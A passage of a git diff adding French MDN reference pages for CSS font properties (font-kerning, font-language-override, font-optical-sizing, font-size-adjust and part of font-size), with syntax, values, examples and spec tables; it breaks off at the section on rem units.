+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> Lorsque c'est possible, les auteurs devraient utiliser la propriété raccourcie {{cssxref("font-variant")}} ou l'une des propriétés détaillées correspondantes parmi {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-numeric")}} ou {{cssxref("font-variant-position")}}.<br>
+<br>
+Cette propriété est une fonctionnalité bas-niveau permettant de gérer des cas particuliers où il n'y a aucun moyen d'accéder à une fonctionnalité OpenType donnée. Cette propriété CSS ne devrait notamment pas être utilisée pour activer les petites majuscules.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* On utilise le réglage par défaut */
+font-feature-settings: normal;
+
+/* On définit la valeur des étiquettes OpenType */
+font-feature-settings: "smcp";
+font-feature-settings: "smcp" on;
+font-feature-settings: "swsh" 2;
+font-feature-settings: "smcp", "swsh" 2;
+
+/* Valeurs globales */
+font-feature-settings: inherit;
+font-feature-settings: initial;
+font-feature-settings: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le texte est disposé en utilisant les réglages par défaut.</dd>
+ <dt><code>&lt;feature-tag-value&gt;</code></dt>
+ <dd>Lors du rendu du texte, l'étiquette de fonctionnalité OpenType est passée au moteur afin d'activer ou de désactiver certaines fonctionnalités de la police. L'étiquette est toujours une chaîne (type {{cssxref("&lt;string&gt;")}}) de 4 caractères ASCII. Si la chaîne contient plus ou moins de 4 caractères ou contient des caractères en dehors de l'intervalle U+20 - U+7E, la déclaration sera considérée comme invalide.<br>
+ La valeur associée à l'étiquette est un entier positif. Les deux mots-clés <code>on</code> et <code>off</code> sont des synonymes respectifs des valeurs <code>1</code> et <code>0</code>. Si aucune valeur n'est donnée pour une étiquette, la valeur par défaut sera <code>1</code>. Pour les fonctionnalités OpenType qui ne sont pas booléennees, la valeur implique qu'un glyphe donné soit sélectionné.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">/* on utilise les glyphes alternatifs en small-cap */
+.smallcaps { font-feature-settings: "smcp" on; }
+
+/* on convertit les majuscules et minuscules en petites
+   capitales */
+.allsmallcaps { font-feature-settings: "c2sc", "smcp"; }
+
+/* on utilise les zéros barrés d'une barre oblique afin de
+   les différencier de "O" */
+.nicezero { font-feature-settings: "zero"; }
+
+/* on active les formes historiques */
+.hist { font-feature-settings: "hist"; }
+
+/* on désactive les ligatures communément utilisées */
+.noligs { font-feature-settings: "liga" 0; }
+
+/* on active les chiffres tabulaires (chasse fixe) */
+td.tabular { font-feature-settings: "tnum"; }
+
+/* on active les fractions automatiques */
+.fractions { font-feature-settings: "frac"; }
+
+/* on utilise le deuxième caractère de « swash » */
+.swash { font-feature-settings: "swsh" 2; }
+
+/* On active l'ensemble stylistique 7 */
+.fancystyle {
+  font-family: Gabriola; /* Windows 7 et Mac OS */
+  font-feature-settings: "ss07";
+}
+</pre>
+
+<h2 id="Spécificat​ions">Spécificat​ions</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-feature-settings', 'font-feature-settings')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-feature-settings")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.microsoft.com/typography/otspec/featurelist.htm" title="http://www.microsoft.com/typography/otspec/featurelist.htm">La liste des fonctionnalités OpenType</a></li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2012/01/09/css-corner-using-the-whole-font.aspx"><em>Using the whole font</em>, un article MSDN en anglais</a></li>
+</ul>
diff --git a/files/fr/web/css/font-kerning/index.html b/files/fr/web/css/font-kerning/index.html
new file mode 100644
index 0000000000..8f3de1baa0
--- /dev/null
+++ b/files/fr/web/css/font-kerning/index.html
@@ -0,0 +1,116 @@
+---
+title: font-kerning
+slug: Web/CSS/font-kerning
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-kerning
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-kerning</code></strong> contrôle le crénage de la police ; c'est-à-dire l'espace créé entre les lettres. L'information de crénage est stockée dans la police et si la police est <em>bien crénée</em>, cette caractéristique permet aux caractères, quels qu'ils soient, d'être espacés de manière semblable.<img alt="Exemple pour font-kerning" src="https://mdn.mozillademos.org/files/8455/font-kerning.png" style="display: block; height: 84px; margin: auto; width: 180px;"></p>
+
+<pre class="brush:css  no-line-numbers">font-kerning: auto;
+font-kerning: normal;
+font-kerning: none;
+
+/* Valeurs globales */
+font-kerning: inherit;
+font-kerning: initial;
+font-kerning: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Ce mot-clé laisse au navigateur le choix d'utiliser ou non le crénage. Quand la taille de la police est petite, le crénage de la police peut avoir l'air étrange et les navigateurs le désactiveront. C'est la valeur par défaut.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé force l'application du crénage.</dd>
+ <dt><code>none</code></dt>
+ <dd>Ce mot-clé empêche le navigateur d'utiliser l'information de crénage stockée dans la police.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#nokern, #kern {
+  font-size: 2rem;
+  font-family: serif;
+}
+#nokern {
+  font-kerning: none;
+}
+#kern {
+  font-kerning: normal;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="kern"&gt;&lt;/div&gt;
+&lt;div id="nokern"&gt;&lt;/div&gt;
+&lt;textarea id="input"&gt;AV T. ij&lt;/textarea&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var input  = document.getElementById('input'),
+    kern   = document.getElementById('kern'),
+    nokern = document.getElementById('nokern');
+input.addEventListener('keyup', function() {
+  kern.textContent = input.value; /* On met à jour le contenu */
+  nokern.textContent = input.value;
+});
+kern.textContent = input.value; /* On initialise le contenu */
+nokern.textContent = input.value;
+</pre>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-kerning', 'font-kerning')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-kerning")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("letter-spacing")}}.</li>
+</ul>
diff --git a/files/fr/web/css/font-language-override/index.html b/files/fr/web/css/font-language-override/index.html
new file mode 100644
index 0000000000..510a83a222
--- /dev/null
+++ b/files/fr/web/css/font-language-override/index.html
@@ -0,0 +1,111 @@
+---
+title: font-language-override
+slug: Web/CSS/font-language-override
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-language-override
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-language-override</code></strong> permet de contrôler l'utilisation des glyphes spécifiques à une langue pour une police.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+font-language-override: normal;
+
+/* &lt;string&gt; values */
+font-language-override: "ENG";  /* Use English glyphs */
+font-language-override: "TRK";  /* Use Turkish glyphs */
+/* Valeurs globales */
+font-language-override: initial;
+font-language-override: inherit;
+font-language-override: unset;
+</pre>
+
+<p>Par défaut, les navigateurs utilisent l'attribut global {{htmlattrxref("lang")}} pour déterminer la langue du texte d'un élément. Grâce à cette information, certains glyphes spéciaux, conçus pour cette langue, peuvent être utilisés. Ainsi, de nombreuses polices possèdent un caractère spécial pour la ligature <code>fi</code> afin que le point du <code>i</code> fusionne avec le caractère précédent. Cette ligature ne devrait pas être utilisée en turc, car il existe deux formes pour le i, avec et sans point : <code>i</code> et <code>ı</code>.</p>
+
+<p>Quelques fois, l'auteur d'un document peut vouloir surcharger la langue. Ainsi, si la fonte ne sait pas que la langue azérie possède un i sans point, comme le turc, on pourra utiliser <code>font-language-override</code> pour forcer l'utilisation des glyphes turcs qui seront plus adaptés que les glyphes par défaut.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété est définie avec le mot-clé <code>normal</code> ou avec une chaîne de caractères (<code>&lt;string&gt;</code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé force l'utilisation des glyphes de la langue définie pour cette police.</dd>
+ <dt><code>&lt;string&gt;</code></dt>
+ <dd>Cette chaîne de caractère force le navigateur à utiliser les glyphes de la langue correspondante. Les valeurs qui peuvent être utilisées sont <a href="https://www.microsoft.com/typography/otspec/languagetags.htm">les valeurs du système de langue OpenType</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p.para1 {
+  font-language-override: normal;
+}
+
+p.para2 {
+  font-language-override: "DAN";
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="para1"&gt;Réglage par défaut.&lt;/p&gt;
+&lt;p class="para2"&gt;
+  Un paragraphe pour lequel  &lt;code&gt;font-language-override&lt;/code&gt;
+  cible le danois
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '600')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-language-override', 'font-language-override')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-language-override")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+</ul>
diff --git a/files/fr/web/css/font-optical-sizing/index.html b/files/fr/web/css/font-optical-sizing/index.html
new file mode 100644
index 0000000000..9619a3bdf1
--- /dev/null
+++ b/files/fr/web/css/font-optical-sizing/index.html
@@ -0,0 +1,102 @@
+---
+title: font-optical-sizing
+slug: Web/CSS/font-optical-sizing
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-optical-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>font-optical-sizing</code></strong> permet de contrôler la façon dont l'agent utilisateur rend le texte avec (ou non) différentes représentations visuelles en fonction de la taille.  Cette propriété ne fonctionne qu'avec les polices qui disposent d'un axe de variation pour la taille optique.</p>
+
+<p>Par exemple, les textes de petites tailles sont généralement affichés avec des traits plus épais et des empattements (<em>serifs</em>) plus grands. En revanche, les textes plus grands sont souvent plus fins et utilisent plus de contrastes entre les traits fins et épais.</p>
+
+<div class="note">
+<p><strong>Note</strong> : L'axe de variation pour la taille optique est représenté par <code>opsz</code> dans {{cssxref("font-variation-settings")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+font-optical-sizing: none;
+font-optical-sizing: auto; /* valeur initiale */
+
+/* Valeurs globales */
+font-optical-sizing: inherit;
+font-optical-sizing: initial;
+font-optical-sizing: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'agent utilisateur ne modifiera pas la forme des glyphes pour une vue optimale.</dd>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur modifiera la forme des glyphes pour une vue optimale.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@font-face {
+    src: url('AmstelvarAlpha-VF.ttf');
+    font-family:'Amstelvar';
+    font-style: normal;
+}
+
+p {
+  font-size: 36px;
+  font-family: Amstelvar;
+}
+
+.no-optical-sizing {
+  font-optical-sizing: none;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="optical-sizing"&gt;Ce paragraphe est dimensionné pour une meilleure
+ lecture. C'est le comportement par défaut.&lt;/p&gt;
+
+&lt;p class="no-optical-sizing"&gt;Ce paragraphe n'est pas adapté pour une
+ meilleure lecture. Vous devriez voir une différence avec les navigateurs
+ qui prennent en charge cette fonctionnalité.&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong> : La police utilisée dans cet exemple possède un dimensionnement optique et est disponible sous licence libre <a href="https://github.com/TypeNetwork/Amstelvar/releases">en téléchargement sur GitHub</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-optical-sizing-def', 'font-optical-sizing')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.font-optical-sizing")}}</p>
diff --git a/files/fr/web/css/font-size-adjust/index.html b/files/fr/web/css/font-size-adjust/index.html
new file mode 100644
index 0000000000..387d535277
--- /dev/null
+++ b/files/fr/web/css/font-size-adjust/index.html
@@ -0,0 +1,140 @@
+---
+title: font-size-adjust
+slug: Web/CSS/font-size-adjust
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-size-adjust
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-size-adjust</code></strong> permet de choisir une taille de police selon la taille des caractères en minuscules plutôt que selon la taille des majuscules.</p>
+
+<pre class="brush:css  no-line-numbers">/* On utilise la taille de fonte définie */
+font-size-adjust: none;
+
+/* On utilise une fonte pour laquelle
+   les minuscules font la moitié de la
+   taille définie */
+/* Type &lt;number&gt; */
+font-size-adjust: 0.5;
+
+/* Valeurs globales */
+font-size-adjust: inherit;
+font-size-adjust: initial;
+font-size-adjust: unset;
+</pre>
+
+<p>Cela est particulièrement utile lorsque la lisibilité des fontes, notamment celles de petite taille, est déterminée par la taille des minuscules plutôt que par celle des majuscules.</p>
+
+<p>La lisibilité peut devenir un problème lorsque la première police indiquée par {{cssxref("font-family")}} n'est pas disponible et que la police de remplacement possède un facteur de forme très différent (ce facteur correspond au ratio de la taille des minuscules sur la taille de la fonte).</p>
+
+<p>Pour utiliser cette propriété d'une façon compatible avec les navigateurs qui ne prennent pas en charge <code>font-size-adjust</code>, on définira le facteur par lequel on multiplie la valeur de la propriété {{Cssxref("font-size")}}. Cela signifie généralement que la propriété doit correspondre au facteur de forme de la première fonte. Ainsi, lorsqu'une feuille de style définit :</p>
+
+<pre class="brush: css">font-size: 14px;
+font-size-adjust: 0.5;
+</pre>
+
+<p>On indique en fait que les minuscules de la fonte utilisée doivent mesurer <code>7px</code> de haut (0.5 × 14px).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La taille de la fonte est uniquement choisie grâce à la propriété {{cssxref("font-size")}}.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>
+ <p>La taille de la fonte est choisie afin que les minuscules (selon la taille horizontale de la fonte) mesurent X fois {{cssxref("font-size")}}.</p>
+
+ <p>Le nombre indiqué (cf. le type {{cssxref("&lt;number&gt;")}}) devrait la plupart du temps correspondre au facteur de forme de la première fonte listée avec {{cssxref("font-family")}}. Cela permet d'obtenir le même résultat dans les différents navigateurs, qu'ils supportent <code>font-size-adjust</code> ou non.</p>
+
+ <p><code>0</code> entraînera une haute nulle pour le texte (qui sera donc caché). Pour d'anciens navigateurs, comme Firefox avant la version 40, <code>0</code> était géré comme <code>none</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Exemples pour &lt;code&gt;font-size-adjust&lt;/code&gt;&lt;/p&gt;
+
+&lt;p class="times"&gt;
+  Voici la fonte Times sur 10 px,
+  difficile à lire en petit.
+&lt;/p&gt;
+
+&lt;p class="verdana"&gt;
+  Voici la fonte Verdana sur 10px,
+  plus lisible car sans empattement
+  (serif).
+&lt;/p&gt;
+
+&lt;p class="adjtimes"&gt;
+  et voilà le texte ajusté pour
+  avoir le même facteur de forme
+  qu'avec Verdana.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.times {
+  font-family: Times, serif;
+  font-size: 10 px;
+}
+
+.verdana {
+  font-family: Verdana, sans-serif;
+  font-size: 10 px;
+}
+
+.adjtimes {
+  font-family: Times, serif;
+  font-size-adjust: 0.58;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '500', '300')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-size-adjust', 'font-size-adjust')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La propriété CSS <code>font-size-adjust</code> fut initialement définie avec CSS 2 mais a été abandonnée dans CSS 2.1. Elle a de nouveau été définie avec CSS 3.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-size-adjust")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1144885" title="Link to Bugzilla bug 1144885">Un billet de David Baron sur <code>font-size-adjust</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/font-size/index.html b/files/fr/web/css/font-size/index.html
new file mode 100644
index 0000000000..8b9a61693f
--- /dev/null
+++ b/files/fr/web/css/font-size/index.html
@@ -0,0 +1,242 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-size</code></strong> définit la taille de fonte utilisée pour le texte. La modification de cette taille peut entraîner la modification de la taille d'autres éléments car elle est utilisée pour calculer les valeurs des longueurs relatives (type {{cssxref("&lt;length&gt;")}}) (par exemple exprimées avec les unités <code>em</code> ou <code>ex</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs dont la taille est absolue */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* Valeurs relatives */
+font-size: larger;
+font-size: smaller;
+
+/* Valeurs de longueurs */
+/* Type &lt;length&gt;        */
+font-size: 12px;
+font-size: 0.8em;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+font-size: 80%;
+
+/* Valeurs globales */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+</pre>
+
+<p>La propriété <code>font-size</code> peut être définie de deux façons :</p>
+
+<ul>
+ <li>Comme un mot-clé désignant <a href="#absolue">une taille absolue</a> ou <a href="#relative">une taille relative</a></li>
+ <li>Comme une valeur de type <code>&lt;length&gt;</code> ou de <code>&lt;percentage&gt;</code></li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="absolue" name="absolue"><code>xx-small, x-small, small, medium, large, x-large, xx-large</code></a></dt>
+ <dd>Un ensemble de mots-clés désignant des valeurs absolues basées sur la taille par défaut de l'utilisateur (qui vaut <code>medium</code>). Le comportement est analogue à ce qu'on obtient en utilisant le code HTML <code>&lt;font size="1"&gt;</code> à <code>&lt;font size="7"&gt;</code> lorsque la taille par défaut de l'utilisateur vaut <code>&lt;font size="4"&gt;</code>.</dd>
+ <dt><a id="relative" name="relative"><code>larger, smaller</code></a></dt>
+ <dd>La taille de la fonte est plus grande (<code>larger</code>) ou plus petite (<code>smaller</code>) que celle de l'élément parent. Le ratio d'agrandissement/réduction est le même que celui qui sépare les mots-clés présentés avant.</dd>
+ <dt><a id="lp" name="lp"><code>&lt;length&gt;</code></a></dt>
+ <dd>Une longueur positive (type {{cssxref("&lt;length&gt;")}} ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}). Lorsque les valeurs sont exprimées avec les unités <code>em</code> ou <code>ex</code>, la taille est alors relative à la taille de la fonte de l'élément parent. Ainsi, une valeur de <code>0.5em</code> indiquera que la taille de fonte pour l'élément courant est la moitié de celle utilisée pour l'élément parent. Lorsque l'unité utilisée est <code>rem</code>, la taille est alors relative à la taille de la fonte utilisée pour l'élément racine <code>html</code>.</dd>
+ <dt><a id="lp" name="lp"><code>&lt;percentage&gt;</code></a></dt>
+ <dd>Les valeurs exprimées en pourcentages (type {{cssxref("&lt;percentage&gt;")}}) sont proportionnelles à la taille de fonte de l'élément parent.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Il est généralement préférable d'utiliser des valeurs relatives à la taille par défaut choisie par l'utilisateur.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Les_différentes_approches">Les différentes approches</h2>
+
+<p>Plusieurs méthodes existent pour définir la taille de fonte utilisée : des mots-clés ou des valeurs numériques exprimées en pixels ou en ems. Selon les besoins, on utilisera une méthode différente.</p>
+
+<h3 id="Les_mots-clés">Les mots-clés</h3>
+
+<p>Les mots-clés sont une méthode simple et efficace pour déterminer la taille de fonte à utiliser. En utilisant un mot-clé sur l'élément {{HTMLElement("body")}}, on peut définir des tailles relatives sur toute la page et réduire ou augmenter la taille de la fonte en conséquence.</p>
+
+<h3 id="Les_pixels">Les pixels</h3>
+
+<p>L'utilisation des pixels (<code>px</code>) permet d'obtenir un résultat statique, absolu et indépendant du système d'exploitation et du navigateur. Cependant, cette méthode est déconseillée car elle n'est pas accessible. Ainsi, les utilisateurs ne peuvent pas adapter la taille du texte avec leurs réglages si besoin.</p>
+
+<h3 id="Les_ems">Les ems</h3>
+
+<p>On peut également définir la taille de la fonte en <code>em</code>. La taille d'une valeur exprimée en <code>em</code> est dynamique. Lorsqu'on définit la propriété <code>font-size</code>, un <code>em</code> est équivalent à la taille de fonte appliquée à l'élément parent de l'élément courant. Si cette taille n'a pas été définie pour l'élément parent, elle correspondra à la taille par défaut du navigateur (généralement 16px). Ainsi, si on définit <code>font-size</code> avec une valeur de <code>20px</code> sur l'élément <code>body</code>, <code>1em</code> correspondra à <code>20px</code> et <code>2em</code> à <code>40px</code>. Ici, la valeur 2 est un facteur multiplicateur de la taille.</p>
+
+<p>Pour calculer une équivalence entre <code>em</code> et un résultat exprimé en pixels, on peut utiliser cette formule :</p>
+
+<pre class="brush: css notranslate">em = taille visée en px / font-size du parent en pixels</pre>
+
+<p>Ainsi, si la taille <code>font-size</code> de <code>body</code> vaut <code>1em</code> et que l'échelle par défaut du navigateur indique <code>1em</code> = <code>16px</code> et qu'on souhaite obtenir une <code>font-size</code> équivalente à <code>12px</code>, on pourra utiliser la valeur <code>0.75em</code> (car 12/16 = 0.75). De même, si on veut une taille analogue à <code>10px</code>, on utilisera <code>0.625em</code> (10/16 = 0.625).</p>
+
+<p>L'unité <code>em</code> est très utile car elle s'adapte automatiquement à la taille de fonte choisie par l'utilisateur.</p>
+
+<p>Un autre aspect important est la <strong>composition</strong> des valeurs exprimées avec cette unité. Si on prend le fragment HTML suivant :</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;span&gt;
+    Extérieur
+      &lt;span&gt;Intérieur&lt;/span&gt;
+    Extérieur
+  &lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Et qu'on applique la feuille de style suivante :</p>
+
+<pre class="brush: css notranslate">body {
+  font-size: 62.5%;
+}
+span {
+  font-size: 1.6em;
+}</pre>
+
+<p>On obtiendra le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Les_ems", 400, 40)}}</p>
+
+<p>Si la taille par défaut du navigateur est 16px, le mot « Extérieur » sera affiché avec 16 pixels et le mot « Intérieur » sera affiché avec 25.6 pixes. En effet, la taille de <code>font-size</code> pour le bloc <code>span</code> vaut <code>1.6em</code> et cette valeur est relative à la valeur de <code>font-size</code> pour son élément parent, elle-même relative à la valeur de <code>font-size</code> pour son élément parent. C'est ce qu'on appelle <strong>la composition</strong>.</p>
+
+<h3 id="Les_rems">Les rems</h3>
+
